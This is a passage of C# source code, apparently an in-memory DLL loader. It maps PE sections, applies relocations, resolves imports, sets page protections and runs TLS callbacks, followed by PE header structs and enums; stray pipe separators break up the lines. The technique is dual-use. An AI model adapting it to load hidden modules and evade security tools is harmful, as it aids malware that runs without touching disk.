dest = PtrAdd(pCode, Section.VirtualAddress);
|
||||||
|
Marshal.Copy(data, checked((int)Section.PointerToRawData), dest, checked((int)Section.SizeOfRawData));
|
||||||
|
|
||||||
|
PtrWrite(PtrAdd(pSection, Of.IMAGE_SECTION_HEADER_PhysicalAddress), unchecked((uint)(ulong)(long)dest));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool PerformBaseRelocation(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr delta)
|
||||||
|
{
|
||||||
|
if (OrgNTHeaders.OptionalHeader.BaseRelocationTable.Size == 0) return (delta == IntPtr.Zero);
|
||||||
|
|
||||||
|
for (IntPtr pRelocation = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.BaseRelocationTable.VirtualAddress); ;)
|
||||||
|
{
|
||||||
|
IMAGE_BASE_RELOCATION Relocation = PtrRead<IMAGE_BASE_RELOCATION>(pRelocation);
|
||||||
|
if (Relocation.VirtualAdress == 0) break;
|
||||||
|
|
||||||
|
IntPtr pDest = PtrAdd(pCode, Relocation.VirtualAdress);
|
||||||
|
IntPtr pRelInfo = PtrAdd(pRelocation, Sz.IMAGE_BASE_RELOCATION);
|
||||||
|
uint RelCount = ((Relocation.SizeOfBlock - Sz.IMAGE_BASE_RELOCATION) / 2);
|
||||||
|
for (uint i = 0; i != RelCount; i++, pRelInfo = PtrAdd(pRelInfo, sizeof(ushort)))
|
||||||
|
{
|
||||||
|
ushort relInfo = (ushort)Marshal.PtrToStructure(pRelInfo, typeof(ushort));
|
||||||
|
BasedRelocationType type = (BasedRelocationType)(relInfo >> 12);
|
||||||
|
int offset = (relInfo & 0xfff);
|
||||||
|
IntPtr pPatchAddr = PtrAdd(pDest, offset);
|
||||||
|
|
||||||
|
switch (type)
|
||||||
|
{
|
||||||
|
case BasedRelocationType.IMAGE_REL_BASED_ABSOLUTE:
|
||||||
|
break;
|
||||||
|
case BasedRelocationType.IMAGE_REL_BASED_HIGHLOW:
|
||||||
|
int patchAddrHL = (int)Marshal.PtrToStructure(pPatchAddr, typeof(int));
|
||||||
|
patchAddrHL += (int)delta;
|
||||||
|
Marshal.StructureToPtr(patchAddrHL, pPatchAddr, false);
|
||||||
|
break;
|
||||||
|
case BasedRelocationType.IMAGE_REL_BASED_DIR64:
|
||||||
|
long patchAddr64 = (long)Marshal.PtrToStructure(pPatchAddr, typeof(long));
|
||||||
|
patchAddr64 += (long)delta;
|
||||||
|
Marshal.StructureToPtr(patchAddr64, pPatchAddr, false);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pRelocation = PtrAdd(pRelocation, Relocation.SizeOfBlock);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static IntPtr[] BuildImportTable(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode)
|
||||||
|
{
|
||||||
|
System.Collections.Generic.List<IntPtr> ImportModules = new System.Collections.Generic.List<IntPtr>();
|
||||||
|
uint NumEntries = OrgNTHeaders.OptionalHeader.ImportTable.Size / Sz.IMAGE_IMPORT_DESCRIPTOR;
|
||||||
|
IntPtr pImportDesc = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.ImportTable.VirtualAddress);
|
||||||
|
for (uint i = 0; i != NumEntries; i++, pImportDesc = PtrAdd(pImportDesc, Sz.IMAGE_IMPORT_DESCRIPTOR))
|
||||||
|
{
|
||||||
|
IMAGE_IMPORT_DESCRIPTOR ImportDesc = PtrRead<IMAGE_IMPORT_DESCRIPTOR>(pImportDesc);
|
||||||
|
if (ImportDesc.Name == 0) break;
|
||||||
|
|
||||||
|
IntPtr handle = Win.LoadLibrary(PtrAdd(pCode, ImportDesc.Name));
|
||||||
|
if (PtrIsInvalidHandle(handle))
|
||||||
|
{
|
||||||
|
foreach (IntPtr m in ImportModules) Win.FreeLibrary(m);
|
||||||
|
ImportModules.Clear();
|
||||||
|
throw new DllException("Can't load libary " + Marshal.PtrToStringAnsi(PtrAdd(pCode, ImportDesc.Name)));
|
||||||
|
}
|
||||||
|
ImportModules.Add(handle);
|
||||||
|
|
||||||
|
IntPtr pThunkRef, pFuncRef;
|
||||||
|
if (ImportDesc.OriginalFirstThunk > 0)
|
||||||
|
{
|
||||||
|
pThunkRef = PtrAdd(pCode, ImportDesc.OriginalFirstThunk);
|
||||||
|
pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
pThunkRef = PtrAdd(pCode, ImportDesc.FirstThunk);
|
||||||
|
pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk);
|
||||||
|
}
|
||||||
|
for (int SzRef = IntPtr.Size; ; pThunkRef = PtrAdd(pThunkRef, SzRef), pFuncRef = PtrAdd(pFuncRef, SzRef))
|
||||||
|
{
|
||||||
|
IntPtr ReadThunkRef = PtrRead<IntPtr>(pThunkRef), WriteFuncRef;
|
||||||
|
if (ReadThunkRef == IntPtr.Zero) break;
|
||||||
|
if (Win.IMAGE_SNAP_BY_ORDINAL(ReadThunkRef))
|
||||||
|
{
|
||||||
|
WriteFuncRef = Win.GetProcAddress(handle, Win.IMAGE_ORDINAL(ReadThunkRef));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
WriteFuncRef = Win.GetProcAddress(handle, PtrAdd(PtrAdd(pCode, ReadThunkRef), Of.IMAGE_IMPORT_BY_NAME_Name));
|
||||||
|
}
|
||||||
|
if (WriteFuncRef == IntPtr.Zero) throw new DllException("Can't get adress for imported function");
|
||||||
|
PtrWrite(pFuncRef, WriteFuncRef);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return (ImportModules.Count > 0 ? ImportModules.ToArray() : null);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void FinalizeSections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders, uint PageSize)
|
||||||
|
{
|
||||||
|
UIntPtr imageOffset = (Is64BitProcess ? (UIntPtr)(unchecked((ulong)pCode.ToInt64()) & 0xffffffff00000000) : UIntPtr.Zero);
|
||||||
|
IntPtr pSection = Win.IMAGE_FIRST_SECTION(pNTHeaders, OrgNTHeaders.FileHeader.SizeOfOptionalHeader);
|
||||||
|
IMAGE_SECTION_HEADER Section = PtrRead<IMAGE_SECTION_HEADER>(pSection);
|
||||||
|
SectionFinalizeData sectionData = new SectionFinalizeData();
|
||||||
|
sectionData.Address = PtrBitOr(PtrAdd((IntPtr)0, Section.PhysicalAddress), imageOffset);
|
||||||
|
sectionData.AlignedAddress = PtrAlignDown(sectionData.Address, (UIntPtr)PageSize);
|
||||||
|
sectionData.Size = GetRealSectionSize(ref Section, ref OrgNTHeaders);
|
||||||
|
sectionData.Characteristics = Section.Characteristics;
|
||||||
|
sectionData.Last = false;
|
||||||
|
pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER);
|
||||||
|
|
||||||
|
for (int i = 1; i < OrgNTHeaders.FileHeader.NumberOfSections; i++, pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER))
|
||||||
|
{
|
||||||
|
Section = PtrRead<IMAGE_SECTION_HEADER>(pSection);
|
||||||
|
IntPtr sectionAddress = PtrBitOr(PtrAdd((IntPtr)0, Section.PhysicalAddress), imageOffset);
|
||||||
|
IntPtr alignedAddress = PtrAlignDown(sectionAddress, (UIntPtr)PageSize);
|
||||||
|
IntPtr sectionSize = GetRealSectionSize(ref Section, ref OrgNTHeaders);
|
||||||
|
|
||||||
|
IntPtr a = PtrAdd(sectionData.Address, sectionData.Size);
|
||||||
|
ulong b = unchecked((ulong)a.ToInt64()), c = unchecked((ulong)alignedAddress);
|
||||||
|
|
||||||
|
if (sectionData.AlignedAddress == alignedAddress || unchecked((ulong)PtrAdd(sectionData.Address, sectionData.Size).ToInt64()) > unchecked((ulong)alignedAddress))
|
||||||
|
{
|
||||||
|
if ((Section.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0)
|
||||||
|
{
|
||||||
|
sectionData.Characteristics = (sectionData.Characteristics | Section.Characteristics) & ~Win.IMAGE_SCN_MEM_DISCARDABLE;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sectionData.Characteristics |= Section.Characteristics;
|
||||||
|
}
|
||||||
|
sectionData.Size = PtrSub(PtrAdd(sectionAddress, sectionSize), sectionData.Address);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
FinalizeSection(sectionData, PageSize, OrgNTHeaders.OptionalHeader.SectionAlignment);
|
||||||
|
|
||||||
|
sectionData.Address = sectionAddress;
|
||||||
|
sectionData.AlignedAddress = alignedAddress;
|
||||||
|
sectionData.Size = sectionSize;
|
||||||
|
sectionData.Characteristics = Section.Characteristics;
|
||||||
|
}
|
||||||
|
sectionData.Last = true;
|
||||||
|
FinalizeSection(sectionData, PageSize, OrgNTHeaders.OptionalHeader.SectionAlignment);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void FinalizeSection(SectionFinalizeData SectionData, uint PageSize, uint SectionAlignment)
|
||||||
|
{
|
||||||
|
if (SectionData.Size == IntPtr.Zero)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if ((SectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) > 0)
|
||||||
|
{
|
||||||
|
if (SectionData.Address == SectionData.AlignedAddress &&
|
||||||
|
(SectionData.Last ||
|
||||||
|
SectionAlignment == PageSize ||
|
||||||
|
(unchecked((ulong)SectionData.Size.ToInt64()) % PageSize) == 0)
|
||||||
|
)
|
||||||
|
{
|
||||||
|
Win.VirtualFree(SectionData.Address, SectionData.Size, AllocationType.DECOMMIT);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
int readable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_READ) != 0 ? 1 : 0;
|
||||||
|
int writeable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_WRITE) != 0 ? 1 : 0;
|
||||||
|
int executable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_EXECUTE) != 0 ? 1 : 0;
|
||||||
|
uint protect = (uint)ProtectionFlags[executable, readable, writeable];
|
||||||
|
if ((SectionData.Characteristics & Win.IMAGE_SCN_MEM_NOT_CACHED) > 0) protect |= Win.PAGE_NOCACHE;
|
||||||
|
|
||||||
|
uint oldProtect;
|
||||||
|
if (!Win.VirtualProtect(SectionData.Address, SectionData.Size, protect, out oldProtect))
|
||||||
|
throw new DllException("Error protecting memory page");
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ExecuteTLS(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders)
|
||||||
|
{
|
||||||
|
if (OrgNTHeaders.OptionalHeader.TLSTable.VirtualAddress == 0) return;
|
||||||
|
IMAGE_TLS_DIRECTORY tlsDir = PtrRead<IMAGE_TLS_DIRECTORY>(PtrAdd(pCode, OrgNTHeaders.OptionalHeader.TLSTable.VirtualAddress));
|
||||||
|
IntPtr pCallBack = tlsDir.AddressOfCallBacks;
|
||||||
|
if (pCallBack != IntPtr.Zero)
|
||||||
|
{
|
||||||
|
for (IntPtr Callback; (Callback = PtrRead<IntPtr>(pCallBack)) != IntPtr.Zero; pCallBack = PtrAdd(pCallBack, IntPtr.Size))
|
||||||
|
{
|
||||||
|
ImageTlsDelegate tls = (ImageTlsDelegate)Marshal.GetDelegateForFunctionPointer(Callback, typeof(ImageTlsDelegate));
|
||||||
|
tls(pCode, DllReason.DLL_PROCESS_ATTACH, IntPtr.Zero);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool Is64BitProcess { get { return IntPtr.Size == 8; } }
|
||||||
|
|
||||||
|
static uint GetMachineType() { return (IntPtr.Size == 8 ? Win.IMAGE_FILE_MACHINE_AMD64 : Win.IMAGE_FILE_MACHINE_I386); }
|
||||||
|
|
||||||
|
static uint AlignValueUp(uint value, uint alignment) { return (value + alignment - 1) & ~(alignment - 1); }
|
||||||
|
|
||||||
|
static IntPtr GetRealSectionSize(ref IMAGE_SECTION_HEADER Section, ref IMAGE_NT_HEADERS NTHeaders)
|
||||||
|
{
|
||||||
|
uint size = Section.SizeOfRawData;
|
||||||
|
if (size == 0)
|
||||||
|
{
|
||||||
|
if ((Section.Characteristics & Win.IMAGE_SCN_CNT_INITIALIZED_DATA) > 0)
|
||||||
|
{
|
||||||
|
size = NTHeaders.OptionalHeader.SizeOfInitializedData;
|
||||||
|
}
|
||||||
|
else if ((Section.Characteristics & Win.IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0)
|
||||||
|
{
|
||||||
|
size = NTHeaders.OptionalHeader.SizeOfUninitializedData;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return (IntPtr.Size == 8 ? (IntPtr)unchecked((long)size) : (IntPtr)unchecked((int)size));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Close() { ((IDisposable)this).Dispose(); }
|
||||||
|
|
||||||
|
void IDisposable.Dispose()
|
||||||
|
{
|
||||||
|
Dispose();
|
||||||
|
GC.SuppressFinalize(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Dispose()
|
||||||
|
{
|
||||||
|
if (_initialized)
|
||||||
|
{
|
||||||
|
if (_dllEntry != null) _dllEntry.Invoke(pCode, DllReason.DLL_PROCESS_DETACH, IntPtr.Zero);
|
||||||
|
_initialized = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ImportModules != null)
|
||||||
|
{
|
||||||
|
foreach (IntPtr m in ImportModules) if (!PtrIsInvalidHandle(m)) Win.FreeLibrary(m);
|
||||||
|
ImportModules = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pCode != IntPtr.Zero)
|
||||||
|
{
|
||||||
|
Win.VirtualFree(pCode, IntPtr.Zero, AllocationType.RELEASE);
|
||||||
|
pCode = IntPtr.Zero;
|
||||||
|
pNTHeaders = IntPtr.Zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
Disposed = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Protection flags for memory pages (Executable, Readable, Writeable)
|
||||||
|
static readonly PageProtection[,,] ProtectionFlags = new PageProtection[2, 2, 2]
|
||||||
|
{
|
||||||
|
{
|
||||||
|
// not executable
|
||||||
|
{ PageProtection.NOACCESS, PageProtection.WRITECOPY },
|
||||||
|
{ PageProtection.READONLY, PageProtection.READWRITE }
|
||||||
|
},
|
||||||
|
{
|
||||||
|
// executable
|
||||||
|
{ PageProtection.EXECUTE, PageProtection.EXECUTE_WRITECOPY },
|
||||||
|
{ PageProtection.EXECUTE_READ, PageProtection.EXECUTE_READWRITE }
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
struct SectionFinalizeData
|
||||||
|
{
|
||||||
|
internal IntPtr Address;
|
||||||
|
internal IntPtr AlignedAddress;
|
||||||
|
internal IntPtr Size;
|
||||||
|
internal uint Characteristics;
|
||||||
|
internal bool Last;
|
||||||
|
}
|
||||||
|
|
||||||
|
class Of
|
||||||
|
{
|
||||||
|
internal const int IMAGE_NT_HEADERS_OptionalHeader = 24;
|
||||||
|
internal const int IMAGE_SECTION_HEADER_PhysicalAddress = 8;
|
||||||
|
internal const int IMAGE_IMPORT_BY_NAME_Name = 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
class Of32
|
||||||
|
{
|
||||||
|
internal const int IMAGE_OPTIONAL_HEADER_ImageBase = 28;
|
||||||
|
internal const int IMAGE_OPTIONAL_HEADER_ExportTable = 96;
|
||||||
|
}
|
||||||
|
|
||||||
|
class Of64
|
||||||
|
{
|
||||||
|
internal const int IMAGE_OPTIONAL_HEADER_ImageBase = 24;
|
||||||
|
internal const int IMAGE_OPTIONAL_HEADER_ExportTable = 112;
|
||||||
|
}
|
||||||
|
|
||||||
|
class Sz
|
||||||
|
{
|
||||||
|
internal const int IMAGE_SECTION_HEADER = 40;
|
||||||
|
internal const int IMAGE_BASE_RELOCATION = 8;
|
||||||
|
internal const int IMAGE_IMPORT_DESCRIPTOR = 20;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
struct IMAGE_DOS_HEADER
|
||||||
|
{
|
||||||
|
public ushort e_magic; // Magic number
|
||||||
|
public ushort e_cblp; // Bytes on last page of file
|
||||||
|
public ushort e_cp; // Pages in file
|
||||||
|
public ushort e_crlc; // Relocations
|
||||||
|
public ushort e_cparhdr; // Size of header in paragraphs
|
||||||
|
public ushort e_minalloc; // Minimum extra paragraphs needed
|
||||||
|
public ushort e_maxalloc; // Maximum extra paragraphs needed
|
||||||
|
public ushort e_ss; // Initial (relative) SS value
|
||||||
|
public ushort e_sp; // Initial SP value
|
||||||
|
public ushort e_csum; // Checksum
|
||||||
|
public ushort e_ip; // Initial IP value
|
||||||
|
public ushort e_cs; // Initial (relative) CS value
|
||||||
|
public ushort e_lfarlc; // File address of relocation table
|
||||||
|
public ushort e_ovno; // Overlay number
|
||||||
|
public ushort e_res1a, e_res1b, e_res1c, e_res1d; // Reserved words
|
||||||
|
public ushort e_oemid; // OEM identifier (for e_oeminfo)
|
||||||
|
public ushort e_oeminfo; // OEM information; e_oemid specific
|
||||||
|
public ushort e_res2a, e_res2b, e_res2c, e_res2d, e_res2e, e_res2f, e_res2g, e_res2h, e_res2i, e_res2j; // Reserved words
|
||||||
|
public int e_lfanew; // File address of new exe header
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
struct IMAGE_NT_HEADERS
|
||||||
|
{
|
||||||
|
public uint Signature;
|
||||||
|
public IMAGE_FILE_HEADER FileHeader;
|
||||||
|
public IMAGE_OPTIONAL_HEADER OptionalHeader;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
struct IMAGE_FILE_HEADER
|
||||||
|
{
|
||||||
|
public ushort Machine;
|
||||||
|
public ushort NumberOfSections;
|
||||||
|
public uint TimeDateStamp;
|
||||||
|
public uint PointerToSymbolTable;
|
||||||
|
public uint NumberOfSymbols;
|
||||||
|
public ushort SizeOfOptionalHeader;
|
||||||
|
public ushort Characteristics;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
struct IMAGE_OPTIONAL_HEADER
|
||||||
|
{
|
||||||
|
public MagicType Magic;
|
||||||
|
public byte MajorLinkerVersion;
|
||||||
|
public byte MinorLinkerVersion;
|
||||||
|
public uint SizeOfCode;
|
||||||
|
public uint SizeOfInitializedData;
|
||||||
|
public uint SizeOfUninitializedData;
|
||||||
|
public uint AddressOfEntryPoint;
|
||||||
|
public uint BaseOfCode;
|
||||||
|
public ulong ImageBaseLong;
|
||||||
|
public uint SectionAlignment;
|
||||||
|
public uint FileAlignment;
|
||||||
|
public ushort MajorOperatingSystemVersion;
|
||||||
|
public ushort MinorOperatingSystemVersion;
|
||||||
|
public ushort MajorImageVersion;
|
||||||
|
public ushort MinorImageVersion;
|
||||||
|
public ushort MajorSubsystemVersion;
|
||||||
|
public ushort MinorSubsystemVersion;
|
||||||
|
public uint Win32VersionValue;
|
||||||
|
public uint SizeOfImage;
|
||||||
|
public uint SizeOfHeaders;
|
||||||
|
public uint CheckSum;
|
||||||
|
public SubSystemType Subsystem;
|
||||||
|
public DllCharacteristicsType DllCharacteristics;
|
||||||
|
public IntPtr SizeOfStackReserve;
|
||||||
|
public IntPtr SizeOfStackCommit;
|
||||||
|
public IntPtr SizeOfHeapReserve;
|
||||||
|
public IntPtr SizeOfHeapCommit;
|
||||||
|
public uint LoaderFlags;
|
||||||
|
public uint NumberOfRvaAndSizes;
|
||||||
|
public IMAGE_DATA_DIRECTORY ExportTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY ImportTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY ResourceTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY ExceptionTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY CertificateTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY Debug;
|
||||||
|
public IMAGE_DATA_DIRECTORY Architecture;
|
||||||
|
public IMAGE_DATA_DIRECTORY GlobalPtr;
|
||||||
|
public IMAGE_DATA_DIRECTORY TLSTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY LoadConfigTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY BoundImport;
|
||||||
|
public IMAGE_DATA_DIRECTORY IAT;
|
||||||
|
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
|
||||||
|
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
|
||||||
|
public IMAGE_DATA_DIRECTORY Reserved;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
struct IMAGE_DATA_DIRECTORY
|
||||||
|
{
|
||||||
|
public uint VirtualAddress;
|
||||||
|
public uint Size;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
struct IMAGE_SECTION_HEADER
|
||||||
|
{
|
||||||
|
public ulong Name; //8 byte string
|
||||||
|
public uint PhysicalAddress;
|
||||||
|
public uint VirtualAddress;
|
||||||
|
public uint SizeOfRawData;
|
||||||
|
public uint PointerToRawData;
|
||||||
|
public uint PointerToRelocations;
|
||||||
|
public uint PointerToLinenumbers;
|
||||||
|
public ushort NumberOfRelocations;
|
||||||
|
public ushort NumberOfLinenumbers;
|
||||||
|
public uint Characteristics;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
struct IMAGE_BASE_RELOCATION
|
||||||
|
{
|
||||||
|
public uint VirtualAdress;
|
||||||
|
public uint SizeOfBlock;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
struct IMAGE_IMPORT_DESCRIPTOR
|
||||||
|
{
|
||||||
|
public uint OriginalFirstThunk;
|
||||||
|
public uint TimeDateStamp;
|
||||||
|
public uint ForwarderChain;
|
||||||
|
public uint Name;
|
||||||
|
public uint FirstThunk;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
struct IMAGE_EXPORT_DIRECTORY
|
||||||
|
{
|
||||||
|
public uint Characteristics;
|
||||||
|
public uint TimeDateStamp;
|
||||||
|
public ushort MajorVersion;
|
||||||
|
public ushort MinorVersion;
|
||||||
|
public uint Name;
|
||||||
|
public uint Base;
|
||||||
|
public uint NumberOfFunctions;
|
||||||
|
public uint NumberOfNames;
|
||||||
|
public uint AddressOfFunctions;
|
||||||
|
public uint AddressOfNames;
|
||||||
|
public uint AddressOfNameOrdinals;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
struct SYSTEM_INFO
|
||||||
|
{
|
||||||
|
public ushort wProcessorArchitecture;
|
||||||
|
public ushort wReserved;
|
||||||
|
public uint dwPageSize;
|
||||||
|
public IntPtr lpMinimumApplicationAddress;
|
||||||
|
public IntPtr lpMaximumApplicationAddress;
|
||||||
|
public IntPtr dwActiveProcessorMask;
|
||||||
|
public uint dwNumberOfProcessors;
|
||||||
|
public uint dwProcessorType;
|
||||||
|
public uint dwAllocationGranularity;
|
||||||
|
public ushort wProcessorLevel;
|
||||||
|
public ushort wProcessorRevision;
|
||||||
|
};
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
struct IMAGE_TLS_DIRECTORY
|
||||||
|
{
|
||||||
|
public IntPtr StartAddressOfRawData;
|
||||||
|
public IntPtr EndAddressOfRawData;
|
||||||
|
public IntPtr AddressOfIndex;
|
||||||
|
public IntPtr AddressOfCallBacks;
|
||||||
|
public IntPtr SizeOfZeroFill;
|
||||||
|
public uint Characteristics;
|
||||||
|
}
|
||||||
|
|
||||||
|
enum MagicType : ushort
|
||||||
|
{
|
||||||
|
IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b,
|
||||||
|
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
|
||||||
|
}
|
||||||
|
|
||||||
|
enum SubSystemType : ushort
|
||||||
|
{
|
||||||
|
IMAGE_SUBSYSTEM_UNKNOWN = 0,
|
||||||
|
IMAGE_SUBSYSTEM_NATIVE = 1,
|
||||||
|
IMAGE_SUBSYSTEM_WINDOWS_GUI = 2,
|
||||||
|
IMAGE_SUBSYSTEM_WINDOWS_CUI = 3,
|
||||||
|
IMAGE_SUBSYSTEM_POSIX_CUI = 7,
|
||||||
|
IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9,
|
||||||
|
IMAGE_SUBSYSTEM_EFI_APPLICATION = 10,
|
||||||
|
IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11,
|
||||||
|
IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12,
|
||||||
|
IMAGE_SUBSYSTEM_EFI_ROM = 13,
|
||||||
|
IMAGE_SUBSYSTEM_XBOX = 14
|
||||||
|
}
|
||||||
|
|
||||||
|
enum DllCharacteristicsType : ushort
|
||||||
|
{
|
||||||
|
RES_0 = 0x0001,
|
||||||
|
RES_1 = 0x0002,
|
||||||
|
RES_2 = 0x0004,
|
||||||
|
RES_3 = 0x0008,
|
||||||
|
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040,
|
||||||
|
IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080,
|
||||||
|
IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100,
|
||||||
|
IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200,
|
||||||
|
IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400,
|
||||||
|
IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800,
|
||||||
|
RES_4 = 0x1000,
|
||||||
|
IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000,
|
||||||
|
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000
|
||||||
|
}
|
||||||
|
|
||||||
|
enum BasedRelocationType
|
||||||
|
{
|
||||||
|
IMAGE_REL_BASED_ABSOLUTE = 0,
|
||||||
|
IMAGE_REL_BASED_HIGH = 1,
|
||||||
|
IMAGE_REL_BASED_LOW = 2,
|
||||||
|
IMAGE_REL_BASED_HIGHLOW = 3,
|
||||||
|
IMAGE_REL_BASED_HIGHADJ = 4,
|
||||||
|
IMAGE_REL_BASED_MIPS_JMPADDR = 5,
|
||||||
|
IMAGE_REL_BASED_MIPS_JMPADDR16 = 9,
|
||||||
|
IMAGE_REL_BASED_IA64_IMM64 = 9,
|
||||||
|
IMAGE_REL_BASED_DIR64 = 10
|
||||||
|
}
|
||||||
|
|
||||||
|
enum AllocationType : uint
|
||||||
|
{
|
||||||
|
COMMIT = 0x1000,
|
||||||
|
RESERVE = 0x2000,
|
||||||
|
RESET = 0x80000,
|
||||||
|
LARGE_PAGES = 0x20000000,
|
||||||
|
PHYSICAL = 0x400000,
|
||||||
|
TOP_DOWN = 0x100000,
|
||||||
|
WRITE_WATCH = 0x200000,
|
||||||
|
DECOMMIT = 0x4000,
|
||||||
|
RELEASE = 0x8000
|
||||||
|
}
|
||||||
|
|
||||||
|
enum MemoryProtection : uint
|
||||||
|
{
|
||||||
|
EXECUTE = 0x10,
|
||||||
|
EXECUTE_READ = 0x20,
|
||||||
|
EXECUTE_READWRITE = 0x40,
|
||||||
|
EXECUTE_WRITECOPY = 0x80,
|
||||||
|
NOACCESS = 0x01,
|
||||||
|
READONLY = 0x02,
|
||||||
|
READWRITE = 0x04,
|
||||||
|
WRITECOPY = 0x08,
|
||||||
|
GUARD_Modifierflag = 0x100,
|
||||||
|
NOCACHE_Modifierflag = 0x200,
|
||||||
|
WRITECOMBINE_Modifierflag = 0x400
|
||||||
|
}
|
||||||
|
|
||||||
|
enum PageProtection
|
||||||
|
{
|
||||||
|
NOACCESS = 0x01,
|
||||||
|
READONLY = 0x02,
|
||||||
|
READWRITE = 0x04,
|
||||||
|
WRITECOPY = 0x08,
|
||||||
|
EXECUTE = 0x10,
|
||||||
|
EXECUTE_READ = 0x20,
|
||||||
|
EXECUTE_READWRITE = 0x40,
|
||||||
|
EXECUTE_WRITECOPY = 0x80,
|
||||||
|
GUARD = 0x100,
|
||||||
|
NOCACHE = 0x200,
|
||||||
|
WRITECOMBINE = 0x400,
|
||||||
|
}
|
||||||
|
|
||||||
|
enum ImageSectionFlags : uint
|
||||||
|
{
|
||||||
|
IMAGE_SCN_LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations.
|
||||||
|
IMAGE_SCN_MEM_DISCARDABLE = 0x02000000, // Section can be discarded.
|
||||||
|
IMAGE_SCN_MEM_NOT_CACHED = 0x04000000, // Section is not cachable.
|
||||||
|
IMAGE_SCN_MEM_NOT_PAGED = 0x08000000, // Section is not pageable.
|
||||||
|
IMAGE_SCN_MEM_SHARED = 0x10000000, // Section is shareable.
|
||||||
|
IMAGE_SCN_MEM_EXECUTE = 0x20000000, // Section is executable.
|
||||||
|
IMAGE_SCN_MEM_READ = 0x40000000, // Section is readable.
|
||||||
|
IMAGE_SCN_MEM_WRITE = 0x80000000 // Section is writeable.
|
||||||
|
}
|
||||||
|
|
